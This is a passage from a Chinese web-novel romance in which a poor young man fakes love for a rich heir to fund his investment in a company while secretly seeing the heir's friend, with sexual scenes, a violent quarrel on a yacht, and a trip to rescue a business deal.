梁文乐想到自己高高兴兴地下飞机,想突然回家给叶临惊喜,再吃个浪漫的烛光晚餐,饭后亲热亲热再睡觉。 结果全部都没实现,恨不得打电话痛骂叶临一顿。 “烦死了!”梁文乐骂了一声,感觉到怀里的圆圆在挣扎,连忙放下去。 圆圆迅速朝着门口跑去,汪汪汪地叫起来,声音听起来很欢快。 下一刻门就被打开,累得满头大汗的叶临出现在门口。 梁文乐看到他的第一眼就很想站起来,但是想到自己不能太过于在意叶临,还是端坐着,摆着臭脸。 叶临怕他生气,拿出百米冲刺的速度跑进来,看到他这副模样,连忙跑过去讨好。 “文乐,我是有事,才出门的。” “讨厌你,就只会找借口!” “那,那我接到文乐的电话就马上跑过来了。而且文乐没有提前跟我说要回来,要是我知道文乐今天回来,肯定去机场接你。” “你跑去哪里了?” 梁文乐听到他的语气紧张,顿时感觉到自己是被爱着的,心里很满足。 “就是去外面兜风,屋子里太闷了。” “是吗,你没有跟路边的女生搭讪吧?” “当然没有,我可以发毒誓!” “那你发誓,以后不看除了我之外的其他人,否则就天打雷劈。” “好!”叶临感觉发誓这种事情很简单,不过是画个大饼哄哄笨蛋小少爷而已。 他半跪着做出发誓的手势,还信誓旦旦地复述梁文乐的话:“我发誓,以后不会看除开文乐之外的人,否则就天打雷劈,不得好死。从今以后,文乐就是我的天,我的地” “好了,不许说你那些难听的土味情话!”梁文乐笑着捂住他的嘴,忽然觉得自己就像地球收获了只围绕着自己旋转的月亮。 宇宙那么大,居然也有个叶临为他生,为他死。 “那文乐,你还生气吗?”叶临现在投资了梵星,需要大笔资金,半点不敢得罪老板,轻声细语地试探。 “还是生气!”梁文乐感觉叶临就像个垂下耳朵的兔子,小心翼翼地蹭自己,特别可爱,想抱,想揉,想亲。 “那,那怎么你才不生气啊?”叶临愁得想挠头,但还是轻轻地抓着梁文乐的衣袖边缘,仰头去看他,眼神可怜兮兮的。 “你亲亲我,估计气就消了吧。” “那我去洗澡吧,刚刚出了汗水很臭,文乐会嫌弃我的。” 叶临起身刚要朝着浴室走,就被抓住手腕往后拽,倒在梁文乐的怀里。 没等他说话,梁文乐就低头亲,情绪强烈。 这时他就不是养尊处优的小少爷,而是个饥饿了很久的乞丐,尝到新鲜的米粥,恨不得全部都吃干净。 叶临使不上劲,只能抓住梁文乐的手。 他真的不理解,生活一贯精致的小少爷为什么要突然扑上来,明明他身上都出汗了。 简直就像是着魔了一样,太奇怪了! 但这也能说明梁文乐应该不生气,就这样吧。 只要是赚钱,都挺不容易的。 但是他没想到会这么久,都快要喘不过来气,才分开。 梁文乐看着他的脸,就想去触碰纽扣。 叶临想到混蛋沈邵应该是留了很多痕迹,连忙按住梁文乐的手,做出惊恐的表情:“文,文乐,我的伤才好,还是别了吧。” 梁文乐现在情绪已经上来了,哪里愿意听这种话,凑过去亲,非要动手:“都过去很久了,你肯定好了。” 叶临拼命地捂住,心虚得发抖:“可,可是我真的很难受,会死的!” 梁文乐毕竟是个心软的,看见他害怕得发抖,只好放软语气劝说:“你不是还没死嘛。我和你说,我这次好好地学习了,肯定不会伤到你的。” 叶临一想到梁文乐可怕的技术,疯狂摇头:“不要,我真的怕疼。文乐,我们还是循序渐进,慢慢来吧。” 梁文乐从小就犟,越不让就越要去做。 而且他也觉得这种事情很丢人,必须再次尝试,证明自己身为男人的实力才行:“是你自己着急的,都怪你,我现在才会想要尝试。不管,我今天就要!” 还无理取闹了,这个小少爷!被他整一次,少活十年了! 可是又不能让他生气,还是得想办法劝。 叶临只能主动,试着劝梁文乐接受别的方式:“文乐,我们,就这样互助挺好的,两个人都开心。” 梁文乐板了脸:“我不开心。” 叶临突然好佩服那些说哭就哭的演员,他知道梁文乐心软,如果此刻他能够哭出来,肯定能够糊弄过去。 可是他死活哭不出来,这可怎么办啊? 叶临只好把姿态放低,蹭蹭梁文乐的手,语气诚恳:“文乐,我求求你了,至少等我缓过来,再尝试吧。才过十几天,我现在还有阴影,真的好怕啊。” 梁文乐看他害怕,就像个大圆圆,于是揉了揉头发:“好吧,那你用这里帮我” 说到这里,害羞的小少爷没有直言,只是看向他的嘴唇,压低眉眼暗示。 叶临是男人,当然清楚梁文乐的意思。 但他真的不想帮一个男人做这种事情,实在是倒胃口。 果然网上说的对,直男赚男同的钱,实在是太难了。 可是那有什么办法呢,只能顺着梁文乐。 叶临轻轻地动作,就像是拆开包装袋,再慢慢地捧出来。 沉甸甸的,份量很重。 他感觉自己突然从沙发移动到火炉前面,近距离地贴近火焰,脸和鼻子都要被火焰烫到了。 真的很怕烫伤。 他下意识就要移开,可是听到梁文乐不满的声音,还是回去。 刚开始真的难以接受,动作笨拙青涩。 但梁文乐却没有抱怨,反而紧紧地抓住沙发垫子,直勾勾地看着他的脸。 真不知道在想些什么,居然不介意他的缓慢。 叶临抬眼去看,发现梁文乐低着头,强行忍着什么,耳尖全红了。 看起来就像是被欺负,特别有意思。 平时他就总是被梁文乐折磨,这个时候倒是可以回击。 叶临心说“混蛋小少爷,你也有今天”,手上又在使坏。 他跟顾嘉致和沈邵混迹过,技术已经达到了炉火纯青的地步,对付梁文乐这个小犊子,绰绰有余。 很快,梁文乐就有了变化。 可是梁文乐已经有了经验,不会轻易地失控。 叶临想要快点结束,犹豫片刻,还是决定豁出去,尝试他从未做过的事情。 “叶,叶临你”梁文乐的呼吸不稳,下意识地抬手去摸他的头发,紧接着就是耳垂。 他从高处看见叶临,嘴唇小巧精致,眼睛里就像春日湖水泛起涟漪,看着很勾人。 叶临很贪吃,居然能够吃很多。 要是把他带到街上去玩,肯定会点最大的糖葫芦串,吃得哪里都是晶莹的糖衣。 可是叶临又很瘦,不像是小猪,就像是小仓鼠在吃超过自己体型的东西。 太可爱了。 梁文乐心生欢喜,轻轻地摸他的脸颊,以示鼓励。 叶临发现这家伙越来越亢奋,毫无要结束的意思。 确实是扛不住了,就打算停止。 结果没等他停止,梁文乐就来劲,无师自通地折腾他。 “咳咳咳咳!” 叶临的喉咙非常难受,他想骂死梁文乐。 可是又发不出声音,只能呜呜咽咽。 梁文乐是个很自私的人,完全不管别人的感受,这个时候就只管自己。 “你真的好会啊!” “每天就知道用这些新花样讨好我。” “我今天明明不想原谅你的,特别想罚你不许跟我说话,但是你却” 梁文乐嘴里说着,又去安抚叶临,他还有点良心,但并不是很多。 不知道过了多久,叶临预感自己即将眼冒金星,口吐白沫,被折磨至死。 但是梁文乐及时放过他。 只不过眼睛被泼到,非常地沉重,难以睁开。 “我,我看不见了!” 叶临焦急地去找纸巾,想要把自己的脸颊擦干净。 还是梁文乐用湿巾帮他擦拭干净,嘴里说着:“现在能看见了吧。” 叶临睁开眼,瞧见梁文乐的脸颊泛红,神情愉悦,总算松了口气:“文乐,我要去洗澡休息了。” 梁文乐将人抓进怀里抱着,就像是小时候抱着超大型玩偶,低声道:“不要,不许你去。” 叶临无奈地叹气,只能任由小少爷耍性子:“好吧。” 抱了一会儿,梁文乐就像是缺乏营养的花朵,终于被施加肥料,瞬间就焕发生机。 “你这几天呆在家里做什么? “就是打游戏到凌晨,中午醒来吃饭,遛圆圆,然后骑摩托兜风,晚上回来睡觉。” “你那个摩托车丑死了,干嘛不开我车库里的车,直接去跟管家要钥匙就行,他会给你的。” “不要,我就喜欢骑摩托,我觉得这样舒服。” “行吧,但是你的摩托车好丑啊!” “好吧是丑,但我没钱,只能买这辆了。” “那我给你买辆新的吧。” “文乐,你对我真好。” 叶临得到了自己想要的摩托车,立即变得谄媚,恨不得跪下来跟梁文乐磕头谢恩。 梁文乐又跟他聊了很多家常话,大都是吐槽亲戚。 他跟叶临抱怨大伯,二舅三姑妈这些亲戚,还顺便把他们有关的八卦都说了一遍。 叶临没细听,但每个人都骂,还分不同的方法骂,取了不同的外号。 梁文乐喜欢有人无底线站在自己这一边,高兴地笑起来,难得夸奖叶临会说话。 叶临附和几句,问起顾嘉致。 “你朋友不是让你和顾嘉致和好,宴会什么时候举办啊?” “就是明天,很简单的聚餐。其实我才不想跟他道歉,希望他有自知之明,主动跟我说话吧。” “放心好了文乐,你们十几年的交情,肯定会主动跟你道歉的。” 梁文乐嘴里简单的聚餐,就是在朋友的游艇上开聚会。 这辆游艇很大,高三层,可以容纳百来号人,像是漂浮在海上的白色城堡。 游艇上有游泳池,歌舞厅,电影院,健身房,餐厅,停机坪等等,全部都是提供给各个富二代玩乐的场所。 举办这种聚会,往往不需要理由,只要高兴,随口叫上朋友来玩就好。 梁文乐无疑是全场的贵宾,一路上都有很多人跟他打招呼,都注意到站在旁边的叶临。 今天的叶临穿了一件淡蓝色的西装,手上戴着表,袖口,胸针,领带夹全部都镶嵌上好的宝石。 一套下来价值几千万,看起来总算有钱味,能够融入进这个圈子里。 他也知道自己穿得贵,走路都是抬头挺胸,气势高涨,像老虎旁边的狐狸。 顾嘉致远远就看见他,嘴里的酒都喝不下去,马上要离场。 旁边的林弘立即拉住他:“哎,给兄弟个面子,今天就是为了给你和文乐做局,没必要走。” 顾嘉致想到梁文乐那个蠢货居然能够骗到叶临,心里就窝火,用力推开:“我和梁文乐这种恋爱脑,没什么好说的!” 林弘顿悟:“啊,原来你是生气梁文乐喜欢叶临。我也懂,真不明白梁文乐喜欢那个私生子做什么,像地沟里的蛆,烂。货一个!” 顾嘉致听到朋友的话,脑子还没反应过来,手就把酒杯倒过来,当着他的头淋下去:“不会说话,就做手术把狗嘴封上!” “艹!”林弘惊叫一声,大骂:“顾嘉致,你踏马有病吧!我说什么了我!” 他的动静太大,瞬间就把周围的宾客都吸引过来,包括梁文乐。 林弘也是个富二代,哪里受过这种气,挥拳就要冲上去反击。 可是顾嘉致身手好,轻易就把人推倒,还撞塌了香槟摆成的小山。 玻璃碎片四散开来,很多都扎进林弘的身体,倒在地上的时候,血液迅速流出来,形成一个小血泊。 在场很多胆小的宾客,都尖叫着退开,远离这个命案现场。 顾嘉致还想冲过去暴打,却被人拦住。 那人着急劝:“嘉致,发生什么了,你非要打他!” 没等顾嘉致回到,林弘就伸出染血的指头,大声嚷嚷:“顾嘉致你个脑瘫,我不就是骂叶临是烂。货嘛!这是实话实说,看着就。骚,鬼知道迷了多少男人,还骗我们文乐的钱!” 梁文乐本来还想劝架,听到他这句话立即反问:“你说叶临什么!” 林弘才注意到梁文乐到了跟前,声音都小下去:“文,文乐,我开玩笑的,谁不知道你喜欢叶临啊,你别生气。” 梁文乐抬脚踩在他的腹部用力压下去,看到他嘴角溢出鲜血,还不停止。 明显被压迫到了五脏六腑,林弘的脸色惨白,几乎昏死过去。 然而梁文乐的眼神冰冷,就像是在看一具尸体,还不停止。 他和顾嘉致的猛然爆发不同,总是静静地发难,喜欢看人被折磨。 但他和顾嘉致都是同样的狠毒。 “你知道的,我梁文乐从来不跟满口脏话的人交朋友。” “文,文乐,我错了,求求你饶了我。” 刚刚顾嘉致在打人的时候,还有人上前劝阻。 这个时候却没有人一个人敢上前,只能站在旁边为林弘默哀。 叶临听到有人骂自己,都没来得及反击,结果就看到林弘快死了,忽然觉得梁文乐有些可怕。 其实叶临更喜欢顾嘉致那样干脆利落地出拳,逼迫对方道歉,而不是梁文乐这样慢慢地折磨。 林弘感觉自己快死了,看向旁边的叶临,边吐血边道歉:“叶临,对不起,我不该说你是烂货。我才是烂。货,还是个贱人,求求你饶了我,求求你了!” 叶临也是被他惨状吓到,尝试着拉住梁文乐的胳膊:“文乐,他已经知道错了,就让他滚吧。今天大家都是来玩的,不要因为这种废物影响心情。” 听到叶临开口,终于有人敢上前劝阻。 梁文乐这才抬脚,让人把他抬出去,清理游艇。 叶临再一次领略到梁文乐的地位,圈子里根本没有人敢得罪他。 原来梁文乐真的把顾嘉致当成朋友,所以上次在教室只是单纯吵架,而今天这个林弘明显不是。 他以后还是小心点,别得罪这个小少爷。 梁文乐看向旁边的顾嘉致,故作随意地给他递酒杯:“念在你今天帮叶临说话的份上,我们和好吧,本来就没必要吵架。” 顾嘉致没接酒杯,只是看向旁边的畏首畏尾的叶临:“你的男朋友好像被你吓到了,不安慰他吗?” 梁文乐才反应过来,扭过头看叶临,疑惑地问:“你被吓到了?” 叶临连忙摆手:“才没有,文乐刚刚是在帮我说话,我高兴还来不及呢!” 梁文乐满意地笑起来,他就喜欢叶临这一点,每时每刻都能说出让他高兴的话。 顾嘉致嫌弃地吐槽:“谄媚,狗腿。” 叶临总算感觉氛围变轻松了,下意识地回嘴:“你好烦,我哄文乐高兴都有错吗?” 梁文乐跟着附和:“就是就是,他让我高兴就好了,你干嘛笑他。” 顾嘉致见叶临没救了,拿过梁文乐手里的酒杯一饮而尽:“我先去透透风,心情不好。” 梁文乐默认他们和好了,挥挥手劝他早点回来,又低头跟叶临调。情,喝着喝着就要亲在一起。 周围的人虽然被梁文乐刚刚的举动吓到,但并不妨碍他们现在做气氛组,纷纷都在起哄。 叶临被梁文乐抱着,放在舞台的中央。 周围放满了各色玫瑰花和礼物盒,璀璨的金色灯光照在他的脸上,宛如刚从保险柜里捧出的珍宝。 旁边的乐队在弹奏浪漫的乐曲,众人轻轻地合唱。 银白的月色正好,满天都是飘舞的彩带和闪粉,不远处还有大团大团的彩色烟花绽放。 梁文乐要求叶临坐好,站在他的面前,弯腰做出一个优雅地吻手背礼。 “你要永远记得这天哦,是很重要的日子。” “好,我绝对不会忘记的。” 叶临随口就回,心里在估算一堆礼物的价值,完全没看到对方眼底的脉脉柔情。 梁文乐虽然没告白,但是所有人都知道,这就是他在宣告自己和叶临的热恋。 叶临以为仪式结束了,想站起来,却被按回去。 紧接着就是羽毛般轻柔的吻,比任何时候都要温柔。 比起亲热,更像是一种誓言。 他们明明是在游艇上,现在却又像是进入高大神圣的教堂里,当着神像的面做出永生永世相守的美好誓言。 地上长满了鲜花,四周飘浮着羽毛。 梁文乐松开的时候还盯着叶临看了很久,他觉得自己太幸福了: 小时候看童话故事,长大后居然真的能拥有一份纯粹的感情,或许应该去外婆家附近的神殿还愿。 叶临总算能站起来,跟着他沿着游艇走了一圈,以示秀恩爱。 还好,后面有很多人找梁文乐玩,他能找借口溜出来散散心。 船头太过于热闹,完全就是纸醉金迷的世界。船尾没有人,空荡寂寥。 叶临靠着栏杆看海,欣赏月光下波光粼粼的暗蓝色海面,又想到自己和沈邵的事情。 他希望梁文乐不喜欢沈邵了,这样东窗事发的时候,还能全身而退。 否则,今天躺在地上的是林弘,明天就是他了。 “怎么不去陪梁文乐?” 耳边传来熟悉的声音,偏头去看,果然是顾嘉致。 “你也知道的,梁文乐不好应付,我趁乱溜出来玩。” “呵,你刚刚不是还表现得很喜欢,现在又嫌弃,真虚假。” “不是,顾嘉致你吃枪药了啊?我知道我前段时间对不起你,给你道歉好吧。”叶临抬手去拍他的肩膀:“而且你明明知道的,我都是骗他,说这些风凉话做什么?” “我看你是乐在其中,那天”顾嘉致想到电话就心绞痛,再也说不出口。 “啊,我知道你说的是电话!”叶临叹息一声,面对朋友终于敢吐露心声,忍不住跟他骂起来:“其实不是文乐,*反正我也是被算计了,烦死!” “你说什么?” 第27章 第27章他像个怨夫一样 顾嘉致听到他的话,有一两秒还没反应过来。 可是问出去的时候,瞬间就明白,叶临找了别的男人? 叶临忽然想起来,暴露自己被暗算,岂不是显得很蠢。 他不想在朋友面前低人一等,那样太窝囊,还是选择性地遮掩事实:“哎呀,反正都过去了。你别生我的气了。 我承认那天是我说话太难听,其实你挺好的,比梁文乐好太多了。” 顾嘉致按住他的肩膀,逼迫他直视自己,着急质问:“那天的电话到底是谁,是我认识的人吗?” 叶临没想到这家伙的重点会偏移到这里,无奈地摆手:“哎呀,是谁不重要。还不是因为你不在,我就只能去找别人了。” 原来这个家伙是说真的,只要他不在,就会去找别人? 虽然顾嘉致一直都秉持着自由享乐的生活模式,他以前觉得自己就算恋爱了,也要到处玩。 可是面对叶临的时候,却希望只有彼此。 “到底是谁?” “烦死了,你非要逮着这个问做什么,不是谁了。就是路边花钱乱找的,他还多坑我几千块钱,所以说是被暗算。” 顾嘉致见叶临态度坚决,打死不肯说出那个人的名字,愤怒又无奈,只好往好的方面想。 “那你不喜欢梁文乐,才会背着他找别人?” “本来就是,我什么时候喜欢梁文乐,你不是早知道嘛!” “不喜欢,你就跟他分手啊,何必在他身上浪费时间?” “那可不行,我感觉他挺好骗的,等到他没有利用价值的时候再分手吧。” 叶临说这句话的时候毫无道德压力,他知道的,梁文乐一开始就看不起他,平时还把他当成奴仆使唤,完全不尊重他的个人意志。 梁乐这种人也是活该被骗,反正只是失去了点钱,也没受什么伤。 顾嘉致看着他冷漠的神情,忽然有些庆幸不是自己被叶临骗。 他跟梁文乐做朋友久了,非常熟悉梁文乐的性格。 现在的梁文乐应该是沦陷了,非常很喜欢叶临。倘若以后有一天发现叶临虚情假意只为钱,肯定会崩溃。 还好不是他被骗,不然他也受不了。 叶临抱住顾嘉致,语气诚恳地道歉:“好了顾嘉致,我跟你道歉。那天我就是嘴贱,不应该说你矫情做作,你特别好,比任何人都要好。” 顾嘉致难得听到他说好话,心里得意,面上又要装平静:“呵,你现在才知道我的好。那你早干嘛去了,就知道捧着梁文乐,然后在我这里重拳出击!” 叶临连忙解释:“那我在梁文乐是演戏,在你面前就是真情实意,不需要伪装。 你放心好了,我这个人很讲义气的,一直把友情放在亲情爱情之上,梁文乐哪里比得上你。” 顾嘉致指了海面:“那如果,今天晚上我和梁文乐同时掉进海里,你救谁?” 这家伙应该是太讨厌梁文乐,所以才会两相比较,寻求优越感。 叶临明白好兄弟的心理状态,马上拍胸脯保证:“还用说嘛,当然是救你了!梁文乐算什么东西,怎么能跟你相提并论。” 越说越气,他是真觉得自己在梁文乐那里憋屈,好比上门女婿。 顾嘉致勉强满意他的话,但还是记挂着他去找外面的小男生:“都说了,你有需求就应该找我!花钱去外面找人,脏死了,不怕得病吗!” 叶临叹气:“那有什么办法,谁让你跟我生气,都不回消息,我也是无奈之举。” “你不是找梁文乐吗?” “快别提,梁文乐那技术烂死了,连你一根指头都比不上,纯折磨!” “什么?” “本来就是!” 叶临在梁文乐那里吃了苦头,就忍不住跟顾嘉致吐槽,希望好兄弟帮他多骂几句。 顾嘉致听完也笑起来,还心疼地摸摸他,凑到耳边低声建议:“这么烂,你也能忍啊?快点分了,梁文乐这个人很恶心的,小心他报复你。” 叶临无奈地解释:“唉,也是有不能分手的理由,反正没多久了,兄弟我就脱离苦海。” 他总不能拿好兄弟顾嘉致的钱陪他投资梵星,那样太过于冒险。 而且顾嘉致得不到家里多少资源,根本没有钱,还是梁文乐当这个怨种最合适。 顾嘉致看着叶临的嘴唇好一会儿,就很想亲。 他很想扇自己巴掌,质问自己为什么要很快就原谅叶临,还要贪图叶临的美色。 可是男人的大脑在这种时候,就是会跟身体四肢失去连接。 哪怕神志是清醒的,可是肢体已经混乱了,习惯性地去靠近。 叶临接收到顾嘉致眼神里的讯息,主动仰头。 很快他们就吻在一起,拥抱着难舍难分。 可能是太久没有亲热了,本来就极为契合的两个非常渴望彼此,接触的瞬间就已经把所有事情忘记。 世界在天旋地转,沧海桑田,时光流转,他们就站在中心,亘古不变。 不知不觉间,就离开船尾,来到三层的房间里。 这是顾嘉致的房间,而梁文乐的房间就在对面,几乎是紧挨着。 这个点梁文乐还在一楼的歌舞厅玩,没有回来。 顾嘉致将人抱起来,按在门板上。 他发现很多痕迹,气得牙痒痒。 发疯地咬了后颈。 “你不是嫌弃他的技术,怎么还让他留这么多?” “哎呀,他就是少爷脾气,自私自利,哪里会管我。” “所以,你就跟他分手啊,非得谈干嘛?你们最开始就是合约,现在就是真谈恋爱了!” “嘉致,你要提这种事情就没意思了。你是我朋友,又不是我老婆,没必要计较吧?” 这句话倒是在理,他一开始就只想借着朋友的名义占叶临的便宜,尝尝味,根本不可能谈俩爱。 现在要是介意,岂不是显得他很贱,还打脸? 他顾嘉致才不可能做出这种犯贱后悔的事情,现在就很好。 哪怕心里还是会介意,但是为了面子,顾嘉致还是强行忍下来,反复强调:“你以后不要再花钱去找别人。” 叶临被他伺候得高兴,连声答应:“当然了,以后都找你,还是你最好。” 顾嘉致略微用力,想逼迫叶临露出难以自持的神情。只有那样,才会让他觉得自己在这场感情较量中占据上风,而不是个可悲的乞丐。 门外传来嘈杂人声,是梁文乐在人群的簇拥下走过来,嘴里还在嚷嚷着:“我和你们说,叶临对我可好了,每天都会亲吻我,再叫我起床。 下雨的时候,他怕我被淋湿,就会脱掉外套盖在我身上,蠢蠢的,但是很可爱了!” “还有还有,我想吃什么,半个小时内他就会马上买到。哪怕是凌晨四点钟吵醒他,也不会生气,还会抱抱我。 而且就算不会写作业,也会花好几天上网查资料,帮我硬凑呢,虽然最后成品什么也不是! 我们一起养了条萨摩耶,叶临每天都会去遛狗,帮狗洗澡,从来不让我累。” “哇塞,文乐真幸福,我男朋友对我都没耐心!” “就是就是,他好爱文乐啊,确实个称职的男朋友!” “天哪,我现在许愿,能够赐给我一个这么好的男朋友吗?” “嘿嘿嘿也许吧,我感觉他现在肯定在房间里乖乖等我。” 梁文乐不遗余力地炫耀自己被叶临宠爱的细节,想要告诉身边所有人自己很幸福。 这些人都是仰望他的鼻息,纷纷附和,力求彰显出他的宠爱独一无二。 可是隔着一道墙,有人却破防了。 叶临感觉到顾嘉致周围都弥漫着怒气,还想出声问,下一刻就连忙捂住嘴,差点叫出来。 顾嘉致凑到他的耳边,沉声重复那些句子:“对他这么好呢?” 叶临小声解释:“梁文乐就是个喜欢自我感动的蠢货,你别听他瞎吹。” 顾嘉致冷笑两声:“这样吧,今天晚上别回去,我倒要他明天还能怎么吹?” 叶临立即推开他,语气严肃地警告:“顾嘉致,你少来这套,我真心把你当朋友,但你不要耽误我的正事!” 顾嘉致感觉自己就像是被叶临吊起来,忽上忽下,忽冷忽热,心里非常难受:“你能有什么正事,哄梁文乐吗?” 门外响起梁文乐的声音:“叶,叶临呢?” 旁边的人都安慰他:“应该是去哪里玩了,待会儿就回来。” 梁文乐立即往外跑,边跑边骂。 叶临也不敢耽误,连忙整理衣服,准备回去。 顾嘉致刚被哄好,现在又像个怨夫一样看着他。 恨不得把叶临抽皮扒骨,喝干骨血,完全成为自己身体的一部分。 叶临忽然觉得沈邵很干脆,从来不会干扰他和梁文乐,只好提出要求:“嘉致,你明明知道文乐脾气差,还故意耽误时间,真的很过分! 再说了,我记得最开始在酒吧,是你提议梁文乐跟我签订恋爱合约,我才能坑到梁文乐。 你当初那样建议,不就是讨厌梁文乐,希望我坑害他吗。等以后我跟梁文乐分开,你就可以看他的笑话了,多好。” 顾嘉致猛然惊醒,最初在酒吧看见叶临,他就心痒。 梁文乐提起恋爱合约,他就推给叶临。 因为他觉得像叶临这种可怜的蠢货,肯定会愿意签合约。 “你跟他呗,现成的,给钱就愿意演戏。” 这句话还在脑海里回响。 多么随意的一句话,此刻却像是利箭反刺回来,把他伤得体无完肤。 顾嘉致的脸色难看,说不出话。 叶临没注意到他的心情变化,整理好衣服就出门,临走时还感谢顾嘉致给自己机会。 实话实说而已,顾嘉致也算是他的贵人了,不仅让他搭上梁文乐这条线,还帮忙解决贷款,提供食宿。 上次他们吵架过后,他更加确认,顾嘉致就是难得的至交好友,可以陪伴自己从低谷到达巅峰。 叶临顺着声音走过去,在走廊尽头看见梁文乐,跑上去讨好。 梁文乐板着脸,先数落他几句,这才牵着他的手往房间赶。 他们靠在一起看见爱情电影,接吻,互助,然后在睡觉。 既然叶临害怕,梁文乐还是愿意暂且忍耐,给足他适应的时间。 后面几天他们都是浅尝则止,没有做出越矩的事情,照常上下学。 叶临为了保住自己,都熟练地使用嘴脸手脚,满足梁文乐的各种需求。 上课的时候,叶临怕被老师发现,都会劝梁文乐控制行为。 梁文乐就听一半,看心情决定自己的行为。 比如他高兴,就会随时随地亲叶临,不高兴,就会板着脸冷战。 顾嘉致已经选择远离他们,坐在前排去学习。 但他偶尔还是会忍不住回头去看,只要看见他们竖起课本亲密,就会生气。 这天,叶临单独去厕所,顾嘉致跟在后面。 正是上课时间,厕所里没有人,灯光明亮,照得地面的白色瓷砖都在反光,看起来有点晕。 叶临扶着洗手台,想起自己昨天熬夜帮梁文乐,忍不住叹气。 忽然感觉到身后一热,紧接着腰腹就被抱住。 太熟悉了,不用回头都知道是顾嘉致偷溜出来。 “你刚刚在教室里跟梁文乐亲得很起劲呢?” “唉,随便哄哄小少爷了,你阴阳怪气做什么? 顾嘉致说不出“我也要你哄”这种矫情话,只是强硬地把他的下巴掰过来,复原刚刚在教室里的情景。 好久才分开,两个人的脸都有些红。 “这周末梁文乐要回姑姑家,你就别跟他回去,跟我回公寓吧。” “好啊,我本来就不想跟他住在一起。” 顾嘉致下意识就想劝他分手,但又觉得自己这种行为是自作多情,没有说出口。 他们亲热了一会儿,一前一后回到教室,避免被怀疑。 梁文乐只是怪他上厕所太久,并没有发现异常。还跟他说姑姑家的几个孩子,表面自己估计要去三天左右。 叶临正想拍手叫好,但只能演出深情的模样:“那文乐你要记得想我哦,我一个人在家会难受的。” 梁文乐被他这句话弄得害羞,耳尖微微发烫,用力戳他眉心:“谁会想你啊,自作多情!” 叶临笑起来,像是不介意他的话,显得很傻。 他的眉眼宛如月牙,光彩照人。 梁文乐忽然舍不得走了,但姑姑跟他的关系,又只能回去,只好叮嘱叶临别乱跑。 事实上,他前脚刚坐上去机场的车,叶临后脚就上了顾嘉致的迈巴赫。 进入这辆车里,叶临瞬间就放松下来,瘫坐在副驾驶座睡觉。 顾嘉致在旁边看着他,心情烦躁,快速打方向盘,很快就到了公寓。 刚进门他就跟叶临纠缠在一起,都没能坚持到卧室,直接在沙发。 大概有个五六次,叶临终于累得躺下来,拿出手机来玩。 顾嘉致搂着他,又开始诋毁梁文乐无能,以及梁家的不可持续性,希望他能够看清梁文乐的面目,换个大树乘凉。 叶临随口应和他,在回刘闻的消息。 【叶哥,公司出事了!】 【怎么了?】 【公司有个很重要的合作商,邵哥开车去外地商谈,结果现在都还没消息。对方好像是被沈家收买了,纯粹不想给梵星活路。】 【沈邵没谈成啊?】 【对,而且都没回消息,我好怕他出事了。】 【叶哥你有空吗,去外地看看呗。我这里走不开人,而且合作商看见我没权没势,也不会愿意帮我。】 【好,你发地址,我今天就走。】 叶临还以为投完钱就可以做甩手掌柜,没想到梵星会出这档子事,还得亲自过去看。 估计是沈家觉得,沈邵接手梵星是不务正业,所以要收买合作商,希望梵星因此破败。 果然,沈邵就是个晦气的扫把星,当初没有他投资,梵星的发展之路会顺很多。 叶临收好手机,就往浴室赶。 顾嘉致跟在他背后,还想把人抱住,却被推开。 “你干嘛,突然着急忙慌的?” “我有事要出去,估计过两天才回来。” “你又要去哪里,是梁文乐要你走吗?” “反正是急事!” 叶临秒关门,急匆匆地用淋浴头清洗。 还好顾嘉致都会做安全措施,所以后续的清理很快,不需要费劲。 顾嘉致隔着浴室门口看他,死气沉沉的,像是雷暴雨来临前的厚厚乌云。 他真的受够了! 本来叶临周一到周五都是在梁文乐的别墅住,好不容易有三天陪自己,现在还要被叫走,真不是人。 梁文乐脑子有病,叶临也不正常! 叶临的洗澡速度很快,出来的时候都换好衣服,头发擦得半干。 他对上顾嘉致阴沉的眼神,忍不住问:“你又怎么了?” 顾嘉致冷笑两声:“呵呵,是不是梁文乐现在要你去跳楼,你都心甘情愿!” 叶临走到玄关处,蹲下来换双鞋:“当然不会了,命可是我自己的。” 顾嘉致走过去,用力按住门把手:“那你周末不许去找他了。” 都不明白跳楼和找梁文乐之间有什么逻辑关系? 顾嘉致越来越笨了,明明还是大学生呢,怎么思维混乱? 叶临无奈道:“不是去找梁文乐,是我的生意出了问题,我要去外地一趟。” 顾嘉致惊道:“你还有生意?” 叶临瞬间就看出他眼里的嫌弃,气得用力拍他的脑袋:“怎么了,看不起谁啊,我不是都说了,以后发达会带你。 那我现在有钱就得投资,后面才会变成首富,带带你这个小弟啊。” 顾嘉致半信半疑,但心中的妒忌之意总算消散,帮忙拿外套:“去哪里啊,我开车送你过去呗。” 叶临挥挥手,满脸看不起:“算了吧,你会个啥,我是要去谈业务的。” 听到谈业务,就觉得叶临不靠谱。 毕竟他长得就像花瓶,大脑空空的,哪里知道什么业务。 而且应该是个难搞的客户,所以叶临要着急赶过去。 到时候为了讨好这个客户,叶临不会要出卖色相吧? 顾嘉致脑子里已经浮现出叶临拿着合同让客户签字,然后主动给客户亲的画面。 那可太可怕,叶临这个笨蛋肯定搞不定客户! 顾嘉致强硬地跟上去:“我爸妈都经商,我从小都耳濡目染了,当然会谈业务。 再说了,你跟对方说我的身份,他们都愿意给顾家一个面子。” 虽然顾嘉致业务能力不行,但他身上的顾家标签耀眼。只要本人在场,相信再难搞的合作商都会给几分面子。 叶临把地址发给他:“行吧,那我们出发,三个小时应该就能到。” 地点是在一家酒店,沈邵联系不上,人也不在房间,只能重新约合作商了。 这个合作商刚开始还跟叶临摆谱,指责他们言而无信,不可能合作。 叶临只好报上顾家的名号,对方才愿意过来。 就约在一家普通的会所,包厢里有酒水,没有多余的侍从。 合同是沈邵留在酒店房间里,叶临也看不懂,就交给顾嘉致,要求他必须谈下来。 顾嘉致拿到合同才发现,原来叶临真的有生意,而且是很多老人不认可的互联网。 他上大学后听顾柘提过这个行业,当时为了在爸妈面前吹牛,也了解过一些。 顾柘说过,确实很有发展潜力,就是并不容易。 还以为叶临的生意最多是开个小店,卖点吃的。但居然是长线投资的大项目,真是小看他了。 合同给的条件合理,梵星只要跟这个合作商合作,很快就能扩大规模。 如果合作失败,那么梵星就会失去一次扩张的好机会,难以翻身。 顾嘉致想在叶临面前表现自己,等到合作商来,马上就表明身份,以及自己的想法。 合作商本来就想跟梵星签订合同,但是被沈家警告,所以不敢轻举妄动。 现在看到顾家出面,总算展现出想要合作的信号。 还是喝了一些酒,才把合同谈成。 临走时,合作商还夸赞顾嘉致年轻有为,以后只会超越顾总。 